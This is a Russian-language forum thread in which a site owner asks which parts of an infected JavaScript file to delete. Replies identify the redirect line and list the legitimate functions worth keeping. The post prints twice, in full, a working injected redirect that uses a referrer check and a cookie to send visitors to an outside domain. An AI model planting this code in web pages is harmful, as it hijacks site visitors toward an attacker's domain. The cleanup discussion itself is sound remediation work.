Редирект в JS скрипте -что убрать ?
Здравствуйте уважаемые форумчани, помогите пожалуйста разобраться в проблеме. Есть сайт на котором стоит вредоносный код в JS? какую часть иммено мне убрать чтобы не попортить функционал:
function backgroundOnLoad() { setTimeout('showBody()', 10); } function showBody() { document.getElementById('body_div').style.visibility = 'visible'; } function showBodyDelayed() { setTimeout ( function () { document.getElementById('body_div').style.visibility = 'visible'; }, 500 ); } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } function getCookie(c_name) { var i,x,y,ARRcookies=document.cookie.split(";"); for (i=0;i<ARRcookies.length;i++) { x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("=")); y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1); x=x.replace(/^\s+|\s+$/g,""); if (x==c_name) { return unescape(y); } } } function strlen(string){ if(typeof string == "undefined") { return 0; } else { return string.length; } } var rSite = 'http://jindtesn.com'; var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 ); var currentCookie = getCookie("arx_tt"); if(!document.referrer) { var referringURL = rSite; var local = ""; var referrer = 0; setCookie("arx_tt", 1, dt.toGMTString(), "/"); } else { var referringURL = document.referrer; referringURL = rSite + window.location.pathname; var referrer = 1; } if (strlen(currentCookie) == 0 && referrer == 1) { var setted = 1; setCookie("arx_tt", 1, dt.toGMTString(), "/"); location.href = referringURL; } setCookie("arx_tt", 1, dt.toGMTString(), "/"); Я вот пока убрал эту часть: var rSite = 'http://jindtesn.com'; var dt = new Date(), expiryTime = dt.setTime( dt.getTime() + 1800000 ); var currentCookie = getCookie("arx_tt"); if(!document.referrer) { var referringURL = rSite; var local = ""; var referrer = 0; setCookie("arx_tt", 1, dt.toGMTString(), "/"); } else { var referringURL = document.referrer; referringURL = rSite + window.location.pathname; var referrer = 1; } if (strlen(currentCookie) == 0 && referrer == 1) { var setted = 1; setCookie("arx_tt", 1, dt.toGMTString(), "/"); location.href = referringURL; } setCookie("arx_tt", 1, dt.toGMTString(), "/"); Правильно ли я сделал? Всем спасибо за ответы. |
Строка вызывающая переод
Воть location.href = referringURL А собствено этот какой то счетчик ? Чей ? -Возможно он должен стоять во фрейме На кой Вам вообще этот сайт ? => http://jindtesn.com Вот тут - подобное => http://qps.ru/dxMu3 |
ВОт я нашел в данном скрипте, мне нужно удалить какие-то части.
Хост написал вот тут проблема: На Вашем сайте был обнаружен вредоносный контент в файле ~/www/htdocs/js/functions.js В частности: var rSite = 'http://jindtesn.com'; var referringURL = rSite; referringURL = rSite + window.location.pathname; Вот только данные строки или еще нужно то что после них?? |
smedvedev,
Само деяние переадресации просходит в строке 24 Вашего нижнего скрипта закоментьте данную строку - редирек должен исчезнуть |
Ну мне нужно все же убрать, зачем мне удалять 24 строку, если я могу удалить все что мне не нужно.
|
smedvedev,
Гы - дык я и спрашивал - зачем весь этот код Тут из нужного возможно ток эта часть: function backgroundOnLoad() { setTimeout('showBody()', 10); } function showBody() { document.getElementById('body_div').style.visibility = 'visible'; } function showBodyDelayed() { setTimeout ( function () { document.getElementById('body_div').style.visibility = 'visible'; }, 500 ); } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } function getCookie(c_name) { var i,x,y,ARRcookies=document.cookie.split(";"); for (i=0;i<ARRcookies.length;i++) { x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("=")); y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1); x=x.replace(/^\s+|\s+$/g,""); if (x==c_name) { return unescape(y); } } } function strlen(string){ if(typeof string == "undefined") { return 0; } else { return string.length; } } |
Часовой пояс GMT +3, время: 06:32. |